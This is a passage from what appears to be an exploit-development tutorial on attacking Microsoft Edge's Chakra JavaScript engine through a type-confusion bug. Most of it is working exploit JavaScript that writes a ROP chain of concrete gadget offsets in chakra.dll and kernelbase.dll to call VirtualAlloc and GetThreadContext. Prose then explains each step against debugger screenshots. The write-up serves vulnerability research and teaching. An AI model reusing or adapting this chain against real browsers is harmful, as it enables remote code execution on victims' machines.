<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x5ac10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAlloc address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// GetThreadContext() ROP chain</span>
<span class="c1">// Stage 8 -&gt; Dump the registers of our newly created thread within the JIT process to leak the stack</span>

<span class="c1">// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the VirtualAlloc allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store CONTEXT.ContextFlags</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110</span>
<span class="c1">// The value we need to set is 0x10001F</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll with CONTEXT.ContextFlags address</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x0010001F</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// CONTEXT_ALL</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCONTEXT lpContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
<span class="nx">next</span><span class="p">();</span>                                                                      
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!GetThreadContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x72d10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!GetThreadContext address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Using the same method of setting a breakpoint on <code class="language-plaintext highlighter-rouge">jmp rax</code> we can examine the first gadget in our <code class="language-plaintext highlighter-rouge">GetThreadContext</code> ROP chain.</p>

<p><img src="/images/3typeconfusion159.png" alt="" /></p>

<p>We start off our <code class="language-plaintext highlighter-rouge">GetThreadContext</code> ROP chain by preserving the address of our previous <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation (which is still in RAX) into the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>.</p>

<p><img src="/images/3typeconfusion160.png" alt="" /></p>

<p>The next thing we will do is <em>also</em> preserve our <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation, specifically <code class="language-plaintext highlighter-rouge">VirtualAlloc_allocation + 0x30</code> into the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>, as well. We have already pointed out that <code class="language-plaintext highlighter-rouge">CONTEXT.ContextFlags</code> is located at <code class="language-plaintext highlighter-rouge">CONTEXT + 0x30</code> and, since our <code class="language-plaintext highlighter-rouge">VirtualAlloc_allocation</code> is acting as our <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure, we can think of this as saving our <code class="language-plaintext highlighter-rouge">ContextFlags</code> address within the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> so we can write to it later with our needed <code class="language-plaintext highlighter-rouge">0x10001f</code> value. Since our original base <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation was already in RAX, we can simply just add <code class="language-plaintext highlighter-rouge">0x30</code> to it, and perform another write.</p>

<p><img src="/images/3typeconfusion161.png" alt="" /></p>

<p>At this point we have successfully saved out <code class="language-plaintext highlighter-rouge">CONTEXT</code> address and our <code class="language-plaintext highlighter-rouge">CONTEXT.ContextFlags</code> address in memory for persistent storage, for the duration of the exploit.</p>

<p>The next thing we will do is update <code class="language-plaintext highlighter-rouge">CONTEXT.ContextFlags</code>. Since we have already preserved the address of <code class="language-plaintext highlighter-rouge">ContextFlags</code> in memory (<code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>), we can simply <code class="language-plaintext highlighter-rouge">pop</code> this address into a register, dereference it, and update it accordingly (the <code class="language-plaintext highlighter-rouge">pop rax</code> gadget below is, again, to bypass the <code class="language-plaintext highlighter-rouge">cmp</code> instruction that is a residual instruction in our ROP gadget which requires a valid, writable address).</p>

<p><img src="/images/3typeconfusion162.png" alt="" /></p>

<p>If we actually parse our <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation as a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure, we can see we properly set <code class="language-plaintext highlighter-rouge">ContextFlags</code>.</p>

<p><img src="/images/3typeconfusion163.png" alt="" /></p>

<p>At this point our call is in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc_buffer</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span>		<span class="c1">// CONTEXT_ALL = 0x10001f</span>

<span class="n">GetThreadContext</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s now step through more of the ROP chain and start out by retrieving our thread’s handle from the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>.</p>

<p><img src="/images/3typeconfusion164.png" alt="" /></p>

<p>At this point our call is in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc_buffer</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span>		<span class="c1">// CONTEXT_ALL = 0x10001f</span>

<span class="n">GetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>					<span class="c1">// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

